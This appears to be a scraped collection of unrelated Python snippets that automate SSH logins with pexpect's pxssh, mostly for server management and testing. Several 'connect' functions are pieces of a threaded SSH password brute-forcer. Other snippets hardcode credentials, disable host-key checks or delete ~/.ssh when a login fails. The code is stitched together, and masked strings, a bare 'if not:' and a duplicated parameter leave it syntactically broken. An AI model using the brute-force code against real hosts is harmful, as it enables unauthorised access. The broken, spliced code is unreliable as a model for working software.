def __init__(self, user='******', host='jj.ax.lt', pswd='', remote=False): #Instance variables #self.startupScript = '/Users/jack/.mcserver/start.sh' self.startupScript = '/home/sa/bukkit/minecraft.sh' self.bukkitDir = os.path.split(self.startupScript)[0] self.remote=remote self.user=user self.host=host self.pswd=pswd if remote: self.remoteStatusPX = pxssh.pxssh() self.remoteStatusPX.login(host, user, pswd) #Check the server status. If it is already running, resume it if self.status(): print 'Resuming already running server.' if self.remote: self.mcServer = pxssh.pxssh() self.mcServer.login(self.host, self.user, self.pswd) self.mcServer.sendline('screen -rd mc') else: self.mcServer = pexpect.spawn('screen -rd mc') else: print 'Server not running. Start with myServer.start()'
def __init__(self, user=None, password=None, host=None, logfile=None, environment=None, verbose=False, virtualenv=None, working_dir=None): """ :param user: the remote user account :type user: str :param password: the password for the remote user account :type password: str :param host: the remote machine :type host: str :param logfile: optional logfile :type logfile: str :param environment: Optional key to Project.prefix and Project.postfix dictionaries :type environment: str :param verbose: extra logging :type verbose: bool :param virtualenv: directory that contains a virtual environment to activate upon connection :type virtualenv: str """ super(RemoteShell, self).__init__(is_remote=True, verbose=verbose) if not user: user = Project.user if not host: host = Project.address Project.user = user Project.password = password Project.address = host self.ssh = pxssh(timeout=1200) try: if password: self.ssh.login(host, user, password) else: self.ssh.login(host, user) except ExceptionPxssh: if not password: password = Project.password if not password: password = getpass('password for {user}@{host}: '.format(user=user, host=host)) self.ssh.close() self.ssh = pxssh(timeout=1200) self.ssh.login(host, user, password) self.accept_defaults = False self.logfile = logfile self.prefix = [] self.postfix = [] if environment: self.prefix.extend(Project.prefix[environment] or []) self.postfix.extend(Project.postfix[environment] or []) if working_dir: self.prefix.insert(0, "cd {dir} ; ".format(dir=working_dir)) if virtualenv: self.prefix.insert(0, "source {path}/bin/activate ; ".format(path=virtualenv))
def connect(host, user, password, saveFile, release): global Found global Fails try: s = pxssh.pxssh() s.login(host, user, password) print '[+] Password Found : ' + password fp = open(saveFile, "w") fp.write(password) fp.close() print "[+] Open the " + saveFile time.sleep(30) exit(0) except Exception, e: if 'read_nonblocking' in str(e): # SSH서버에서 연결의 수가 초과됐다고 했을 경우 Fails += 1 time.sleep(5) connect(host, user, password, False) pass elif 'synchronize with original prompt' in str( e): # Pxssh가 커맨드를 얻지 못했을 경우 time.sleep(1) connect(host, user, password, False) pass elif 'password refused' in str(e): # 패스워드가 아닐 경우 pass else: print "[-]", e time.sleep(30) exit(0)
def test_set_get_datesource3(self): set_url = 'http://' + IP_ADDRESS + ':8008/api/set/datesource' get_url = 'http://' + IP_ADDRESS + ':8008/api/get/datesource' svr = '192.168.2.26'#26上没有ntp服务,无法对时 dict_source = {'Mode':0, 'Server':svr, 'Ntp':'', 'Date':'' } datesource = json.dumps(dict_source) r1 = requests.post(set_url,headers=HEADERS,data=datesource) self.assertEqual(r1.status_code,204) #r1.status_code为200或204不固定?? r2 = requests.get(get_url,headers=HEADERS) self.assertEqual(r2.status_code,200) s_content = eval(r2.content) self.assertEqual(s_content['Mode'],0) self.assertEqual(s_content['Server'],svr) re_date = s_content['Date'][:16]+s_content['Date'][20:] #s.sendline('date') #s.prompt() #date = s.before.split('\r\n')[1] s1 = pxssh.pxssh() s1.login (svr, 'deepglint', 'dg2015', original_prompt='[$#>]') s1.sendline('date') s1.prompt() svrdate1 = s1.before.split('\r\n')[1] svrdate = svrdate1[:16]+svrdate1[20:] s1.close() self.assertEqual(re_date,svrdate)#不对比秒
def FwConnection(ip): ''' Gets a pxssh connection to a Fortigate unit. Args: ip = ip address of a Fortigate unit. Hostname should do perfectly well too. Returns: ssh - an established pxssh connection ''' ssh = pxssh.pxssh() password = getpass.getpass('password: '******'config system console\n' + 'set output standard\n' + 'end' ssh.PROMPT = PROMPT_REGEXP try: ssh.login(ip, username, password, auto_prompt_reset=False, original_prompt=' # ') ssh.sendline(nomore) ssh.prompt() except pxssh.ExceptionPxssh as e: print("Login failed") print(e) return ssh
def solTest(utilUnitTest, utilType, hostname): """ For a given platform test that sol is appropriately coming up """ if utilType.solCmd is None: raise Exception("sol start command not implemented") if utilType.solCloseConnection is None: raise Exception("sol close command not implemented") ssh = pxssh.pxssh() util.Login(hostname, ssh) logger.debug("executing command: " + str(utilType.solCmd)) ssh.sendline(utilType.solCmd) ssh.prompt(timeout=5) # after running the sol connection press enter then close the connection for cmd in utilType.solCloseConnection: if 'CTRL' in cmd: # if command is a control character ssh.sendcontrol(cmd.replace('CTRL-', '')) elif cmd == '\r': # if enter key is pressed ssh.sendline(cmd) logger.debug("checking that login is present") if len(ssh.before) < 20: # assert login characters pop up print("No sol connection [FAILED]") else: ssh.sendline(cmd) ssh.prompt(timeout=5) logger.debug("checking that connection closes properly") if utilType.solConnectionClosed(ssh.before): print("sol Test [PASSED]") sys.exit(0) else: print("sol command not properly executed [FAILED]") sys.exit(1)
def connect(self, username, password, prompt='PEXPECT_OAI'): while True: self.prompt1 = prompt self.prompt2 = prompt self.password = '' # WE do not store the password when sending commands for secuirity reasons. The password might be accidentally logged in such cases. #The password is used only to make ssh connections. In case user wants to run programs with sudo, then he/she needs to add following line in /etc/sudoers # your_user_name ALL=(ALL:ALL) NOPASSWD: ALL try: if not username: username = root if not password: password = username self.oai = pxssh.pxssh() self.oai.login(self.address, username, password) self.oai.sendline('PS1=' + self.prompt1) self.oai.PROMPT = 'PEXPECT_OAI' # need to look for twice the string of the prompt self.oai.prompt() self.oai.prompt() self.oai.sendline('uptime') self.oai.prompt() print self.oai.before break except Exception, e: error = '' error = error + ' In function: ' + sys._getframe( ).f_code.co_name + ': *** Caught exception: ' + str( e.__class__) + " : " + str(e) error = error + traceback.format_exc() print error print "Retrying again in 60 seconds" time.sleep(60)
def login(self, hostname, username, password): self.hostname = hostname self.username = username self.password = password try: s = pxssh.pxssh() #hostname = raw_input('hostname: ') #username = raw_input('username: '******'password: '******'uptime') # run a command s.prompt() # match the prompt print s.before # print everything before the prompt. s.sendline('ls -l') s.prompt() print s.before s.sendline('df') s.prompt() print s.before s.logout() self.handle = s except pxssh.ExceptionPxssh, e: print "pxssh failed on login." print str(e)
def delete_switch_mirroring(switch_IP): print 'Deleting mirroring configure ... ' myssh1 = pxssh.pxssh() myssh1.login1(server=switch_IP,username=username,password=pwd) if ('10.0.3' in switch_IP): time.sleep(0.1) myssh1.sendline('configure') time.sleep(0.1) myssh1.sendline('delete interface ethernet-switching-options analyzer 1') time.sleep(0.1) # simulate input space to check more myssh1.sendline(' ') time.sleep(0.1) myssh1.sendline('commit') time.sleep(0.1) myssh1.sendline('exit') time.sleep(0.1) myssh1.sendline('exit') time.sleep(0.1) else: myssh1.sendline('enable') time.sleep(0.1) myssh1.sendline('configure terminal') time.sleep(0.1) myssh1.sendline('no monitor session 1') time.sleep(0.1) myssh1.sendline('exit') time.sleep(0.1) myssh1.sendline('write') time.sleep(0.1) myssh1.sendline('exit') time.sleep(0.1) return 1
def outputFileExtract(hostname, ipaddress, username, password, destinationPath): try: session = pxssh.pxssh() outputFilePath = createFILEpath(hostname, dateString) session.login(ipaddress, username, password) session.sendline('sudo ./extraction_script') session.expect( ['password :'******'Password:'******'Finished', pexpect.EOF, pexpect.TIMEOUT]) session.sendline('sudo chown ' + username + ' ' + outputFilePath) o = session.expect(['Password:'******'$', pexpect.EOF, pexpect.TIMEOUT]) if o == 1: session.sendline(password) session.expect(['$', 'system.', pexpect.EOF, pexpect.TIMEOUT]) session.logout() elif o == 2 or o == 3 or o == 4: session.logout() child = pexpect.spawn('scp ' + username + '@' + ipaddress + ':' + outputFilePath + ' ' + destinationPath) child.expect(['assword:', pexpect.EOF, pexpect.TIMEOUT]) child.sendline(password) child.expect([pexpect.EOF, pexpect.TIMEOUT]) child.close() print(hostname + ' --- done') except pxssh.ExceptionPxssh as e: print "pxssh failed to login to " + hostname + " --- Reason: " + str(e)
def ssh_get_shell(host, username, password=None, keyfile=None, port=None, timeout=10, telnet=False, original_prompt=None): _check_env() start_time = time.time() while True: if telnet: if keyfile: raise ValueError('keyfile may not be used with a telnet connection.') conn = TelnetPxssh(original_prompt=original_prompt) else: # ssh conn = pxssh.pxssh() try: if keyfile: conn.login(host, username, ssh_key=keyfile, port=port, login_timeout=timeout) else: conn.login(host, username, password, port=port, login_timeout=timeout) break except EOF: timeout -= time.time() - start_time if timeout <= 0: message = 'Could not connect to {}; is the host name correct?' raise TargetError(message.format(host)) time.sleep(5) conn.setwinsize(500,200) conn.sendline('') conn.prompt() conn.setecho(False) return conn
def healthCheck(self): print('System health check ... ', end='') cmd = 'ls -al /var/crash/' host = pxssh.pxssh() host.login(self.dut, credential[0], credential[1]) host.sendline(cmd) host.prompt() # Check for crash clean = True output = '' for line in host.before.splitlines(): if line.find("core-") != -1: clean = False fields = line.split() output = (output + fields[5] + '-' + fields[6] + ' ' + fields[7] + ' ' + fields[8] + '\n') if clean: print('clean') else: print("Core file detected:") print(output) # Check for memory usage # Check for CPU usage host.logout return clean
def tcpdump_command(user, ip, password, command): try: #为ssh命令生成一个pxssh类的对象 child = pxssh.pxssh() #利用 pxssh 类的 login 方法进行 ssh 登录,\ # 原始 prompt 为'$' , '#',这里加入'>' child.login(ip, user, password, original_prompt='[#$>]') #发送命令 child.sendline(command) #抓取时间120s time.sleep(120) #输入Ctrl+c停止tcpdump child.sendcontrol('c') #匹配 prompt,即匹配最后出现的字符串有'#$>' child.prompt() #result = child.before # 退出 ssh session child.logout() # 将 prompt 前所有内容返回给函数,即命令的执行结果 #return result #异常打印原因并删除public key except pxssh.ExceptionPxssh, e: print "ssh连接失败,正在重启进程", str(e) subprocess.call("rm -rf ~/.ssh", shell=True)
def ssh_command(user, ip, password, command): try: #为ssh命令生成一个pxssh类的对象 child = pxssh.pxssh() #利用 pxssh 类的 login 方法进行 ssh 登录,\ # 原始 prompt 为'$' , '#',这里加入'>' child.login(ip, user, password, original_prompt='[#$>]') #发送命令 child.sendline(command) #匹配 prompt,即匹配最后出现的字符串有'#$>' child.prompt() result = child.before #将执行命令的时间和结果以追加的形式保存到ssh_log.txt文件中备份文件 f = open('ssh_log.txt', 'a') str1 = str(datetime.datetime.now()) + ' ' f.writelines(str1 + result) f.close() # 退出 ssh session child.logout() # 将 prompt 前所有内容返回给函数,即命令的执行结果 return result #异常打印原因并删除public key except pxssh.ExceptionPxssh, e: print "ssh连接失败,正在重启进程", str(e) subprocess.call("rm -rf ~/.ssh", shell=True)
def run(self): self.setName(self.server_name_) # set the name of thread try: s = pxssh.pxssh(options={ "StrictHostKeyChecking": "no", "UserKnownHostsFile": "/dev/null" }) #s = pxssh.pxssh() #s.SSH_OPTS += " -o StrictHostKeyChecking=no UserKnownHostsFile=/dev/null" s.login(self.server_name_, self.user_, self.passwd_, original_prompt='[$#>]') s.sendline('hostname;uptime') #s.prompt() #ret = s.before print(s.before) s.logout() ret = 0 print('ret: 0') except pxssh.ExceptionPxssh as e: #except: ret = 1 print("pxssh failed on login: ") #print(e) print('ret: 1') self.result_ = ret return self.result_
def remotecopy(name, delay, repeat): s = pxssh.pxssh() localtime = time.asctime(time.localtime(time.time())) print "Execution of thread started at:", localtime + name try: var_password = "******" remcpy = "rsync -avz ssh --progress /home/techmadmin/Desktop/swp-CSP-Base-6.3.0.0-08-Linux.iso [email protected]:/home/techmadmin/" var_child = pexpect.spawn(remcpy) i = var_child.expect(["password:"******"Connection terminated unexpectedly!" pass except Exception as e: print "Something went wrong." print e while repeat > 0: time.sleep(delay) localtime = time.asctime(time.localtime(time.time())) repeat -= 1 print "Execution of thread ended at:", localtime
def ssh_get_shell(host, username, password=None, keyfile=None, port=None, timeout=10, telnet=False): _check_env() if telnet: if keyfile: raise ConfigError( 'keyfile may not be used with a telnet connection.') conn = TelnetConnection() else: # ssh conn = pxssh.pxssh() try: if keyfile: conn.login(host, username, ssh_key=keyfile, port=port, login_timeout=timeout) else: conn.login(host, username, password, port=port, login_timeout=timeout) except EOF: raise DeviceError( 'Could not connect to {}; is the host name correct?'.format(host)) return conn
def login(s): log = pxssh.pxssh() if not: print ("ssh failed with "+ s) return False else: print ("ssh success with " +s)
def set_switch_mirroring(switch_IP,mirrored_port,monitoring_port): time_lasting_start=time.time() print '\r\nPlease wait a minute,it is connecting to the switch...' #login to the switch of being set to mirror myssh = pxssh.pxssh() myssh.login1(server=switch_IP,username=username,password=pwd) if ('10.0.3' in switch_IP): myssh.sendline('configure') time.sleep(0.1) print 'Ports mirrored:' for c in mirrored_port: if c!= int(monitoring_port): print 'ge-1/1/'+str(c), myssh.sendline('set interface ethernet-switching-options analyzer 1 input egress ge-1/1/'+str(c)) time.sleep(0.1) myssh.sendline('set interface ethernet-switching-options analyzer 1 input ingress ge-1/1/'+str(c)) time.sleep(0.1) print '\r\nport monitoring:\r\n'+'ge-/1/1/'+monitoring_port myssh.sendline('set interface ethernet-switching-options analyzer 1 output ge-1/1/'+monitoring_port) time.sleep(0.1) #commit , exit configure,exit login myssh.sendline('commit') time.sleep(0.2) myssh.sendline('exit') time.sleep(0.1) myssh.sendline('exit') time.sleep(0.1) else: myssh.sendline('enable') time.sleep(0.1) myssh.sendline('configure terminal') time.sleep(0.1) print 'Ports mirrored:' for c in mirrored_port: if c!= int(monitoring_port): print 'ethernet-'+str(c), myssh.sendline('monitor session 1 source ethernet '+str(c)+' both') time.sleep(0.1) print '\r\nport monitoring:\r\n'+'ethernet-'+monitoring_port myssh.sendline('monitor session 1 destination ethernet '+monitoring_port) time.sleep(0.1) #commit , exit configure,exit login myssh.sendline('exit') time.sleep(0.1) myssh.sendline('write') time.sleep(0.1) myssh.sendline('exit') time.sleep(0.1) time_lasting_end=time.time() print '\r\nIt takes '+str(time_lasting_end-time_lasting_start)+' seconds to set the switch to mirror.\r\n' return 1
def sendStartupRequest(self, entry) : #''' ===== still have prombles I need to debug ===== ''' print("Send request to {addr}".format( addr = entry.strAddr() )) script_dir = '/mnt/images/nfs/new_roystonea_script/roystonea_script/' script_file = self.convnameType2Script(entry.level) script_ab_file = script_dir + script_file log_ab_file = script_dir + "log/{host}-{port}-printout.txt".format(host=entry.host, port=entry.port); ssh_cmd = "nohup python {script_absolute_filepath} {host} {port} console_off > {log_ab} &".format( script_absolute_filepath = script_ab_file, host=entry.host, port=entry.port, log_ab=log_ab_file ) print( ssh_cmd) account = 'ot32em' passwd = '' remote = pxssh.pxssh() t = remote.login( entry.host, account, passwd ) print("Login done") remote.sendline( ssh_cmd ) remote.prompt() remote.logout() print("Update the PM Relation to {host}:{port}.".format(host=entry.host, port=entry.port) ) entry.dump_pretty() req = Message.CmdUpdatePMRelationReq(pm_relation=entry) res = Client.send_message( entry.addr, req )
def ssh(self): """Handle SSH login to a host""" #log.debug('We made it into the SSH function') #log.debug('instantiating the pxssh object') self.ses = pxssh.pxssh() #print 'we just created a pxssh object' """ log.debug('The credentials to be used are:') log_msg = 'host:', self.host log.debug(log_msg) log_msg = 'Username:'******'Password:'******'Trying to login to host: ' + self.host + ' as user: '******' with password: '******'This is after the log message' print "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" self.ses.login(self.host, self.username, self.passwd) print "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" print self.ses.before except pxssh.ExceptionPxssh, e: print "pxssh failed on login." print str(e)
def verify_control(self, targetnode_ip): result = True handle = pxssh.pxssh() ip = targetnode_ip login = "******" passwd = 'c0ntrail123' prompt = "#" try: ret = handle.login(ip, login, passwd, original_prompt=prompt, login_timeout=1000, auto_prompt_reset=False) except: pass cmd = "contrail-status" output = send_cmd(handle, cmd, prompt, 120) pattern = [ "supervisor-control: active", "contrail-control active", "contrail-control-nodemgr active", "contrail-dns active", "contrail-named active" ] for line in pattern: if line not in output: print 'verify %s has Failed' % line result = result and False print "result of verify_control %s" % result assert result return result
def __init__(self, _host, _user, _psw, _port=None): self.host = _host self.user = _user self.psw = _psw self.port = _port self.ssh = pxssh.pxssh() self.login = False
def login(host, psswd): ''' Auther: @niger Take in a uni and password and check cunix for succesful login use lookup unix command to pull department ''' s = pxssh.pxssh() try: if not s.login('cunix.cc.columbia.edu', host, psswd): return None else: user = {'uni': host} s.sendline('lookup ' + host) s.prompt() # match the prompt data = str(s.before) # contains everything before the prompt. s.logout() # make indexes for string splitting start = data.find('Dept:') + 5 if data.find('Dept:') > 0 else -1 end = data.find('Address:') if data.find('Address:') > 0 else -1 res = data.find('Residence:') + 10 if data.find( 'Address:') > 0 else -1 if start + end > 0: user['dept'] = data[start:end].strip() if res > 0: user['dorm'] = ' '.join( data[res:].strip().split(' ')[1:] ) # removes white space and remove room # from residence adress return user except Exception as e: return None
def connect(user, host, password, release): global Found global Fails try: # print("[-] begin connecting ") if Fails > 5: print("[!] Exiting: Too Many Socket Timeout") exit(0) s = pxssh.pxssh() s.login(host, user, password) print('[+]Password Found:' + password) Found = True except Exception as e: if 'read_nonblocking' in str(e): print("[-] Read_nonblocking error") Fails += 1 time.sleep(5) connect(host, user, password, False) elif 'synchronize with original prompt' in str(e): print("[-] Synchronize with orginal prompt error") time.sleep(1) connect(host, user, password, False) finally: if release: connection_lock.release()
def __init__(self, username, password, hostname="127.0.0.1"): self.username = username self.password = password self.hostname = hostname self.process = pxssh.pxssh() self.process.login(hostname, username, password)
def test_set_get_datesource2(self): set_url = 'http://' + IP_ADDRESS + ':8008/api/set/datesource' get_url = 'http://' + IP_ADDRESS + ':8008/api/get/datesource' ntp = '192.168.4.41' dict_source = {'Mode':1, 'Server':'', 'Ntp':ntp, 'Date':'' } datesource = json.dumps(dict_source) r1 = requests.post(set_url,headers=HEADERS,data=datesource) self.assertEqual(r1.status_code,204) #r1.status_code为200或204不固定?? r2 = requests.get(get_url,headers=HEADERS) self.assertEqual(r2.status_code,200) s_content = eval(r2.content) self.assertEqual(s_content['Mode'],1) self.assertEqual(s_content['Ntp'],ntp) re_date = s_content['Date'][:16]+s_content['Date'][20:] #s.sendline('date') #s.prompt() #date = s.before.split('\r\n')[1] s1 = pxssh.pxssh() s1.login (ntp, 'ubuntu', 'ubuntu', original_prompt='[$#>]') s1.sendline('date') s1.prompt() ntpdate1 = s1.before.split('\r\n')[1] ntpdate = ntpdate1[:16]+ntpdate1[20:] s1.close() self.assertEqual(re_date,ntpdate)#不对比秒
def execute_command(username, password, hostname, command, password=1): try: s = pxssh.pxssh() s.login (hostname, username, password) print "Repl Leader: " s.sendline ('riak-repl status | grep "leader: \'"') s.expect(["password for " + username + ":"]) s.sendline (password) s.prompt() print s.before print "Riak Ping: " s.sendline ('riak ping') s.prompt() print s.before print "Disk Space: " s.sendline ('du --max-depth=1 -h /var/lib/riak/') s.prompt() print s.before s.logout() except pxssh.ExceptionPxssh, e: print "pxssh failed on login." print str(e)
def ssh_cmd3(user,ip,password,command): try: #为ssh命令生成一个pxssh类的对象 child = pxssh.pxssh() #利用 pxssh 类的 login 方法进行 ssh 登录,\ # 原始 prompt 为'$' , '#',这里加入'>' child.login(ip,user,password,original_prompt='[#$>]') #发送命令 child.sendline(command) #匹配 prompt,即匹配最后出现的字符串有'#$>' child.prompt() result = child.before #将执行命令的时间和结果以追加的形式保存到log.txt文件中备份文件 f = open('log.txt','a') str1 = str(datetime.datetime.now())+' ' f.writelines(str1+result) f.close() # 退出 ssh session child.logout() # 将 prompt 前所有内容返回给函数,即命令的执行结果 return result #异常打印原因并删除public key except pxssh.ExceptionPxssh,e: print "ssh连接失败,正在重启进程",str(e) subprocess.call("rm -rf ~/.ssh",shell=True)
def connect(host, user, password, release): """ Funcao para conectar via ssh no host alvo """ # Variaveis globais global Found global Fails try: # Cria um objeto da classe pxssh para conexao via ssh s = pxssh.pxssh() # Tenta realizar o login no alvo s.login(host, user, password) # Retorna a estancia da conexao print('[+] Password Found: %s' % (password)) # Seta a variavel global Found como True Found = True except Exception as e: # Se retornar read_nonblocking, aguarda 5segundos para tentar novamente if 'read_nonblocking' in str(e): Fails += 1 time.sleep(5) connect(host, user, password, False) # Se retornar synchronize with original prompt aguarda 1 segundo para tentar novamente elif 'synchronize with original prompt' in str(e): time.sleep(1) connect(host, user, password, False) finally: # Se conseguiu conectar apenas libera a conexao if release: connection_lock.release()
def sendStartupRequest(self, entry): #''' ===== still have prombles I need to debug ===== ''' print("Send request to {addr}".format(addr=entry.strAddr())) script_dir = "/mnt/images/nfs/new_roystonea_script/roystonea_script/" script_file = self.convnameType2Script(entry.level) script_ab_file = script_dir + script_file log_ab_file = script_dir + "log/{host}-{port}-printout.txt".format(host=entry.host, port=entry.port) ssh_cmd = "nohup python {script_absolute_filepath} {host} {port} console_off > {log_ab} &".format( script_absolute_filepath=script_ab_file, host=entry.host, port=entry.port, log_ab=log_ab_file ) print(ssh_cmd) account = "ot32em" passwd = "" remote = pxssh.pxssh() t = remote.login(entry.host, account, passwd) print("Login done") remote.sendline(ssh_cmd) remote.prompt() remote.logout() print("Update the PM Relation to {host}:{port}.".format(host=entry.host, port=entry.port)) entry.dump_pretty() req = Message.CmdUpdatePMRelationReq(pm_relation=entry) res = Client.send_message(entry.addr, req)
def node_reboot(tokenid, hostname, username, password, ip_address=''): if ip_address == '': nicinfo = node_nic_info(tokenid, hostname) ip_address = nicinfo.get_ip_address(nicinfo.M_PLANE) if (ip_address == -1): print '#### node_reboot get_nic Error' return -1 try: s2 = pxssh.pxssh() s2.login(ip_address, username, password) s2.sendline('sudo reboot') s2.expect('.*password for .*', timeout=2*600) s2.sendline(password) s2.prompt() s2.logout() return 0 except pxssh.ExceptionPxssh, e: print "pxssh failed on login." print str(e) print "use bmc reboot." ret = bmc_reboot(tokenid, hostname) return ret
def verify_control(self, targetnode_ip): result = True handle = pxssh.pxssh() ip = targetnode_ip login = "******" passwd = 'c0ntrail123' prompt = "#" try: ret = handle.login (ip,login,passwd,original_prompt=prompt, login_timeout=1000,auto_prompt_reset=False) except: pass cmd = "contrail-status" output = send_cmd(handle,cmd,prompt,120) pattern = ["supervisor-control: active", "contrail-control active", "contrail-control-nodemgr active", "contrail-dns active", "contrail-named active"] for line in pattern: if line not in output: print 'verify %s has Failed' %line result = result and False print "result of verify_control %s"%result assert result return result
def executeCommand(command,master = True): ollin = pxssh.pxssh() if not ollin.login('ollin.fisica.unam.mx','root'): print "ssh session failed longin" print str(ollin) else: print "ssh session login successful" if master == False: for i in range(1,3): ollin.sendline('ssh root@ollin-'+str(i)) ollin.sendline(command) ollin.prompt() print ollin.before else: ollin.sendline(command) for i in range(1,3): ollin.sendline('ssh root@ollin-'+str(i)) ollin.sendline(command) ollin.prompt() print ollin.before ollin.logout()
def __init__(self,hostIP, hostUser, hostPass): self.user=hostUser self.host=hostIP self.userpass=hostPass #self.rootpass=password self.userClient=pxssh.pxssh()
def __init__(self,_host,_user,_psw,_port=None) : self.host = _host self.user = _user self.psw = _psw self.port = _port self.ssh = pxssh.pxssh() self.login = False
def prepare(self, host, passwd='111111'): cmd = 'touch web_ip' cmd2 = 'echo "%s" >> web_ip' % const.LOCAL_IP cmd3 = 'mv /etc/clear_vmd.py /root/' cmd4 = '/etc/init.d/vmd restart' count = 0 while count < 3: try: s = pxssh.pxssh() s.login(host, 'root', '111111', login_timeout=180) s.sendline(cmd) s.sendline(cmd2) s.sendline(cmd3) s.sendline(cmd4) s.prompt() print s.before s.logout() print s.before except pxssh.ExceptionPxssh, e: print "Failed" print str(e) error_str = str(e) count += 1 time.sleep(1) else: return True
def setup_ssh_key(self): logging.debug('Performing SSH key setup on %s:%d as %s.' % (self.hostname, self.port, self.user)) try: host = pxssh.pxssh() host.login(self.hostname, self.user, self.password, port=self.port) public_key = utils.get_public_key() host.sendline('mkdir -p ~/.ssh') host.prompt() host.sendline('chmod 700 ~/.ssh') host.prompt() host.sendline("echo '%s' >> ~/.ssh/authorized_keys; " % public_key) host.prompt() host.sendline('chmod 600 ~/.ssh/authorized_keys') host.prompt() host.logout() logging.debug('SSH key setup complete.') except: logging.debug('SSH key setup has failed.') try: host.logout() except: pass
def main(): s = pxssh.pxssh() hostname = raw_input('host-ip (without last number): ') username = raw_input('username: '******'password: '******'uptime') # run a command s.prompt() # match the prompt print s.before # print everything before the prompt. s.sendline ('ls -l') s.prompt() print s.before s.sendline ('df') s.prompt() print s.before s.logout()
def run(self): self.setName(self.server_name_) # set the name of thread try: s = pxssh.pxssh(options={ "StrictHostKeyChecking": "no", "UserKnownHostsFile": "/dev/null"}) #s = pxssh.pxssh() #s.SSH_OPTS += " -o StrictHostKeyChecking=no UserKnownHostsFile=/dev/null" s.login (self.server_name_,self.user_, self.passwd_, original_prompt='[$#>]') s.sendline ('hostname;uptime') #s.prompt() #ret = s.before print(s.before) s.logout() ret = 0 print('ret: 0') except pxssh.ExceptionPxssh as e: #except: ret = 1 print("pxssh failed on login: ") #print(e) print('ret: 1') self.result_= ret return self.result_
def sshconnect(self): server = self.settings.value('Server').toString() spec = self.settings.value("Port").toString() cmd = spec + " -S" user = "******" % self.userEdit.text() pwd = "%s" % self.pwdEdit.text() self.SSH = pxssh.pxssh() if self.SSH.login(server, user, pwd): # logger.info('connected to %s@%s',user,server) self.SSH.sendline(cmd) self.SSH.prompt() # logger.debug(self.SSH.before) time.sleep(1) if not len(self.SSH.before) > 250: warning = QtGui.QMessageBox.warning(self, "Spec Error", self.SSH.before+"\n Kill %s on %s?"%(spec, server), QtGui.QMessageBox.Yes | QtGui.QMessageBox.No | \ QtGui.QMessageBox.Cancel) if warning == QtGui.QMessageBox.Yes: self.SSH.sendline('killall %s' % spec) # logger.info('killall %s'%spec) self.SSH = None self.sshconnect() else: # logger.error('Connection Error') error = QtGui.QMessageBox.warning(self, "Connection Error", str(self.SSH)) self.SSH = None self.parent().SSH = self.SSH
def connect(host, user, password, release): global Found global Fails # debugging shows thread name and hex location # print current_thread() # attempt login with pxssh try: s = pxssh.pxssh() s.login(host, user, password) print '[+] Password Found: ' + password Found = True # error check except Exception, e: # if read_nonblocking si thrown if 'read_nonblocking' in str(e): # debugging print 'in fail 1' Fails += 1 time.sleep(5) connect(host, user, password, False) # if synchronize with original prompt is thrown elif 'synchronize with original prompt' in str(e): # debugging print 'in fail 2' time.sleep(1) connect(host, user, password, False)
def sshconnect(self): server = self.settings.value('Server').toString() spec = self.settings.value("Port").toString() cmd = spec+" -S" user = "******"%self.userEdit.text() pwd = "%s"%self.pwdEdit.text() self.SSH = pxssh.pxssh() if self.SSH.login(server, user, pwd): # logger.info('connected to %s@%s',user,server) self.SSH.sendline(cmd) self.SSH.prompt() # logger.debug(self.SSH.before) time.sleep(1) if not len(self.SSH.before) > 250: warning = QtGui.QMessageBox.warning(self, "Spec Error", self.SSH.before+"\n Kill %s on %s?"%(spec, server), QtGui.QMessageBox.Yes | QtGui.QMessageBox.No | \ QtGui.QMessageBox.Cancel) if warning == QtGui.QMessageBox.Yes: self.SSH.sendline('killall %s'%spec) # logger.info('killall %s'%spec) self.SSH = None self.sshconnect() else: # logger.error('Connection Error') error = QtGui.QMessageBox.warning(self, "Connection Error", str(self.SSH)) self.SSH = None self.parent().SSH=self.SSH
def __enter__(self): cmd = [QEMU, '-kernel', self.kernel, '-cpu', 'arm1176', '-m', '256', '-M', 'versatilepb', '-no-reboot', '-nographic', '-append', '"root=/dev/sda2 panic=1 vga=normal rootfstype=ext4 ' # no comma 'rw console=ttyAMA0"', '-hda', self.image, '-net', 'user,hostfwd=tcp::10022-:22', '-net', 'nic'] print 'Starting qemu with:\n%s' % ' '.join(cmd) env = os.environ.copy() self.process = pexpect.spawn(' '.join(cmd)) # Put this into a log file, see issue 285 self.logfile = open('.qemu_log', 'w') self.process.logfile = self.logfile # Give the vm some time to bootup. time.sleep(50) self.ssh = None # Try connection multiple times, the time it takes to boot varies a lot. for x in xrange(10): print 'Connection attempt %s' % x ssh = pxssh.pxssh() # See https://github.com/pexpect/pexpect/issues/179 ssh.SSH_OPTS = (" -o'StrictHostKeyChecking=no'" + " -o'UserKnownHostsFile /dev/null'") ssh.force_password = True try: ssh.login(HOSTNAME, USERNAME, password=PASSWORD, port=PORT) self.ssh = ssh # Validate connection. self.run_command('uptime') break except pxssh.ExceptionPxssh, e: print 'pxssh failed on login.' print str(e) except:
def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except: print ('[-] Error Connecting')
def verify_openstack(self, targetnode_ip): result = True handle = pxssh.pxssh() ip = targetnode_ip login = "******" passwd = 'c0ntrail123' prompt = "#" try: ret = handle.login (ip,login,passwd,original_prompt=prompt, login_timeout=1000,auto_prompt_reset=False) except: pass cmd = "openstack-status" output = send_cmd(handle,cmd,prompt,120) pattern = ["openstack-nova-api: active", "openstack-nova-compute: active", "openstack-nova-network: inactive (disabled on boot)", "openstack-nova-scheduler: active", "openstack-nova-volume: inactive (disabled on boot)", "openstack-nova-conductor: active", "openstack-glance-api: active", "openstack-glance-registry: active", "openstack-keystone: active", "openstack-cinder-api: active", "openstack-cinder-scheduler: active", "openstack-cinder-volume: inactive (disabled on boot)", "mysql: inactive (disabled on boot)", "libvirt-bin: active", "rabbitmq-server: active", "memcached: inactive (disabled on boot)"] for line in pattern: if line not in output: print 'verify %s has Failed' %line result = result and False assert result return result
